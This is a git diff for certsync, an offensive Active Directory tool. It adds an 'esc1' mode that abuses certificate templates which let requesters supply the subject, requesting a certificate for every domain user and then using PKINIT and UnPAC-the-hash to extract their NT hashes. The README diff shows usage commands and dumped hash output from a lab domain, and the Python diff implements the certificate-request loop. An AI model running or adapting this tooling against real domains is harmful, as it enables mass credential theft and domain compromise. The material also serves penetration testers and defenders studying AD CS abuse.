diff --git a/README.md b/README.md index 08c80e7..b4fcd46 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,14 @@ # certsync -`certsync` is a new technique in order to dump NTDS remotely, but this time **without DRSUAPI**: it uses [golden certificate](https://www.thehacker.recipes/ad/persistence/ad-cs/golden-certificate) and [UnPAC the hash](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash). +`certsync` is a new way of users hash remotely, **without using DRSUAPI**. It offers two ways to do so: ++ Using [golden certificate](https://www.thehacker.recipes/ad/persistence/ad-cs/golden-certificate) and [UnPAC the hash](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash). ++ Using [esc1]() and [UnPAC the hash](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash) with an appropriate template (`ENROLLEE_SUPPLIES_SUBJECT` flag). As a CA Admin, several certificate templates should work, `SubCA` is used by default. +`certsync` is a new technique in order to dump + +Contrary to what we may think, the attack is not at all slower. + +## Golden certificate + It works in several steps: 1. Dump user list, CA informations and CRL from LDAP @@ -9,7 +17,7 @@ It works in several steps: 4. UnPAC the hash for every user in order to get nt and lm hashes ```text -$ certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12 +$ certsync golden -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12 [*] Collecting userlist, CA info and CRL on LDAP [*] Found 13 users in LDAP [*] Found CA ESSOS-CA on braavos.essos.local(192.168.56.23) @@ -28,7 +36,31 @@ ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da::: ``` -Contrary to what we may think, the attack is not at all slower. +## Certificate requests method + +It works in several steps: + +1. Dump user list +2. Request a certificate with user specified as subject of the certificate +3. UnPAC the hash for every user in order to get nt and lm hashes + +```text +$ certsync esc1 -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12 +[*] Collecting userlist, CA info and CRL on LDAP +[*] Found 13 users in LDAP +[*] Getting users certificate using 'SubCA' template +[*] PKINIT + UnPAC the hashes +ESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7::: +ESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4::: +ESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804::: +ESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611::: +ESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021::: +ESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097::: +ESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a::: +ESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db::: +ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b::: +ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da::: +``` ## Table of Contents @@ -88,6 +120,7 @@ CA options: -ca-pfx pfx/p12 file name Path to CA certificate. If used, will skip backup of CA certificate and private key -ca-ip ip address IP Address of the certificate authority. If omitted it will use the domainpart (FQDN) specified in LDAP + -template-name SubCA (ESC1 only) Template to use for requests (Default = SubCA) authentication options: -d domain.local, -domain domain.local @@ -128,11 +161,12 @@ DSRUAPI is more and more monitored and sometimes retricted by EDR solutions. Mor This attack needs: - A configured Entreprise CA on an ADCS server in the domain, - PKINIT working, -- An domain account which is local administrator on the ADCS server, or an export of the CA certificate and private key. +- For `golden` method: An domain account which is local administrator on the ADCS server, or an export of the CA certificate and private key. +- For `esc1` method: A template with `ENROLEE_SUPPLIES_SUBJECT` flag that can be requested. ## Limitations -Since we cannot PKINIT for users that are revoked, we cannot dump thier hashes. +Since we cannot PKINIT for users that are revoked, we cannot dump their hashes. ## OPSEC diff --git a/certsync/entry.py b/certsync/entry.py index be98949..a040c86 100644 --- a/certsync/entry.py +++ b/certsync/entry.py @@ -17,6 +17,7 @@ from certipy.lib.rpc import get_dce_rpc from certipy.commands.ca import CA from certipy.commands.auth import Authenticate +from certipy.commands.req import Request from certipy.lib.certificate import ( PRINCIPAL_NAME, UTF8String, @@ -29,8 +30,80 @@ get_subject_from_str, load_pfx, x509, + rsa, + create_csr, + csr_to_der, ) +class MinifiedRequest(Request): + def __init__( + self, + target: Target = None, + ca: str = None, + template: str = None, + upn: str = None, + key: rsa.RSAPrivateKey = None, + key_size: int = 2048, + ): + + self.cert = None + self.key = None + + self.target = target + self.ca = ca + self.template = template + self.alt_upn = upn + self.key_size = key_size + self.key = key + self.request_id = 0 + + self._dce = None + self._interface = None + + self.web = False + self.dynamic = False + self.verbose = False + + def set_upn(self, upn) -> bool: + try: + self.alt_upn = upn + return True + except: + return False + + def request(self) -> bool: + username = self.target.username + + csr, key = create_csr( + username, + alt_upn=self.alt_upn, + key=self.key, + key_size=self.key_size + ) + self.key = key + + csr = csr_to_der(csr) + + attributes = ["CertificateTemplate:%s" % self.template] + + if self.alt_upn is not None: + san = [] + if self.alt_upn: + san.append("upn=%s" % self.alt_upn) + + attributes.append("SAN:%s" % "&".join(san)) + + cert = self.interface.request(csr, attributes) + + if cert is False: + logging.error("Failed to request certificate") + return False + + self.cert = cert + self.key = key + + return True + class User: def __init__(self, samaccountname, sid, domain): self.domain = domain @@ -65,6 +138,10 @@ def forge_cert(self, key, cert, ca_key, ca_cert): self.cert = cert self.key = key + + def set_cert(self, cert, key): + self.cert = cert + self.key = key def auth(self, target): auth = Authenticate(target=target) @@ -123,6 +200,7 @@ def __init__(self, options: argparse.Namespace): target_ip = options.dc_ip, remote_name = options.kdcHost) + self.action = options.action self.ca_ip = options.ca_ip self.user_search_filter = options.ldap_filter self.scheme = options.scheme @@ -136,6 +214,8 @@ def __init__(self, options: argparse.Namespace): self.ca_cert = None self.ca_p12 = None self.file = None + self.template = options.template + self.template_name = options.template_name if options.template_name is not None else "SubCA" self.template_pfx = None self.template_key = None self.template_cert = None @@ -153,9 +233,11 @@ def __init__(self, options: argparse.Namespace): self.ca_pfx = f.read() if options.template is not None: - with open(options.template, "rb") as f: - self.template_pfx = f.read() - self.template_key, self.template_cert = load_pfx(self.template_pfx) + if self.action == "golden": + with open(options.template, "rb") as f: + self.template_pfx = f.read() + self.template_key, self.template_cert = load_pfx(self.template_pfx) + if options.k: principal = get_kerberos_principal() if principal: @@ -168,6 +250,8 @@ def init_ldap_conn(self): self.ldap_connection.connect() def run(self): + golden = self.action == "golden" + logging.getLogger("impacket").disabled = True logging.getLogger("certipy").disabled = True @@ -203,14 +287,12 @@ def run(self): self.ca_name = ca.get("name") self.crl = self.get_crl(self.ca_name)[0].get("distinguishedName") - - # 2. Dumping CA PKI - if self.ca_pfx is None: - self.ca_dns_name = ca.get("dNSHostName") - self.ca_ip_address = self.target.resolver.resolve(self.ca_dns_name) - logging.info("Found CA %s on %s(%s)" % (self.ca_name, self.ca_dns_name, self.ca_ip_address)) - logging.info("Dumping CA certificate and private key") - ca_target = Target.create( + + self.ca_dns_name = ca.get("dNSHostName") + self.ca_ip_address = self.target.resolver.resolve(self.ca_dns_name) + logging.info("Found CA %s on %s(%s)" % (self.ca_name, self.ca_dns_name, self.ca_ip_address)) + + ca_target = Target.create( domain = self.target.domain, username = self.target.username, password = self.target.password, @@ -220,33 +302,49 @@ def run(self): aes = self.target.aes, remote_name = self.ca_dns_name, no_pass = self.options.no_pass) - - ca_module = CA(target=ca_target, ca=self.ca_name) - self.backup_ca_pki(ca_module) - else: - logging.info("Loading CA certificate and private key from %s" % self.options.ca_pfx) - self.ca_key, self.ca_cert = load_pfx(self.ca_pfx) - - if self.ca_key is None or self.ca_cert is None: - logging.error("No CA certificate and private key loaded (backup failed or -ca-pfx is not valid). Abort...") - sys.exit(1) - - # 3. Forge certificates for each users - logging.info("Forging certificates%sfor every users. This can take some time..." % (("based on %s " % self.options.template) if self.template_pfx is not None else " ")) - if self.randomize: - for user in (tqdm(users.values()) if self.options.debug else users.values()): + + + if golden : + # Dumping CA PKI + if self.ca_pfx is None: + ca_module = CA(target=ca_target, ca=self.ca_name) + self.backup_ca_pki(ca_module) + else: + logging.info("Loading CA certificate and private key from %s" % self.options.ca_pfx) + self.ca_key, self.ca_cert = load_pfx(self.ca_pfx) + if self.ca_key is None or self.ca_cert is None: + logging.error("No CA certificate and private key loaded (backup failed or -ca-pfx is not valid). Abort...") + sys.exit(1) + + # Forge certificates for each users + logging.info("Forging certificates%sfor every users. This can take some time..." % (("based on %s " % self.options.template) if self.template_pfx is not None else " ")) + if self.randomize: + for user in (tqdm(users.values()) if self.options.debug else users.values()): + base_user_key, base_user_cert = self.forge_cert_base() + try: + user.forge_cert(key=base_user_key, cert=base_user_cert, ca_key=self.ca_key, ca_cert=self.ca_cert) + except Exception: + pass + else: base_user_key, base_user_cert = self.forge_cert_base() - try: - user.forge_cert(key=base_user_key, cert=base_user_cert, ca_key=self.ca_key, ca_cert=self.ca_cert) - except Exception: - pass + for user in (tqdm(users.values()) if self.options.debug else users.values()): + try: + user.forge_cert(key=base_user_key, cert=base_user_cert, ca_key=self.ca_key, ca_cert=self.ca_cert) + except Exception: + pass else: - base_user_key, base_user_cert = self.forge_cert_base() + # Request for every user + logging.info(f"Getting users certificate using '{self.template_name}' template") + + request = MinifiedRequest(target = ca_target, ca = self.ca_name, template = self.template_name, upn=None) for user in (tqdm(users.values()) if self.options.debug else users.values()): - try: - user.forge_cert(key=base_user_key, cert=base_user_cert, ca_key=self.ca_key, ca_cert=self.ca_cert) - except Exception: - pass + sleep(self.timeout + random.randint(0,self.jitter)) + request.set_upn(user.samaccountname) + req = request.request() + if not req: + logging.error(f"Failed to retrieve certificate for user {user.samaccountname}") + else: + user.set_cert(request.cert, request.key) # 4. PKINIT every users logging.info("PKINIT + UnPAC the hashes") @@ -457,7 +555,8 @@ def get_crl(self, ca_name) -> "List[LDAPEntry]": def main() -> None: logger.init() version = importlib.metadata.version("certsync") - parser = argparse.ArgumentParser(description=f"Dump NTDS with golden certificates and UnPAC the hash.\nVersion: {version}", add_help=True) + parser = argparse.ArgumentParser(description=f"Retrieve domain users hash by getting certificates and UnPAC the hash.\nVersion: {version}", add_help=True) + parser.add_argument('action', action="store", help="Action you want to perform : golden, esc1") parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON") parser.add_argument( "-outputfile", @@ -481,11 +580,20 @@ def main() -> None: action="store", metavar="ip address", help=( - "IP Address of the certificate authority. If omitted it will use the domain" + "IP Address of the certificate authority. If omitted it will use the domain " "part (FQDN) specified in LDAP" ), ) + ca_group.add_argument( + "-template-name", + action="store", + metavar="SubCA", + dest="template_name", + help="(ESC1 only) Template to use for requests", + required=False, + ) + authentication_group = parser.add_argument_group("authentication options") authentication_group.add_argument( @@ -580,7 +688,7 @@ def main() -> None: action="store", metavar="cert.pfx", dest="template", - help="base template to use in order to forge certificates", + help="(Golden Only) Base template to use in order to forge certificates", required=False, ) @@ -616,6 +724,10 @@ def main() -> None: options = parser.parse_args() + if options.action not in ['golden', 'esc1']: + print("Please choose an action between golden and esc1") + sys.exit(1) + if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) diff --git a/pyproject.toml b/pyproject.toml index 50e0436..d809920 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,12 +1,12 @@ [tool.poetry] name = "certsync" -version = "0.1.6" -description = "Dump NTDS with golden certificates and UnPAC the hash" +version = "0.2.0" +description = "Retrieve domain users hash by getting certificates and UnPAC the hash." readme = "README.md" homepage = "https://github.com/zblurx/certsync" repository = "https://github.com/zblurx/certsync" keywords = ["ntds", "certificate", "hashes"] -authors = ["zblurx "] +authors = ["zblurx ", "p-alu "] license = "MIT" classifiers = [ "Topic :: Security",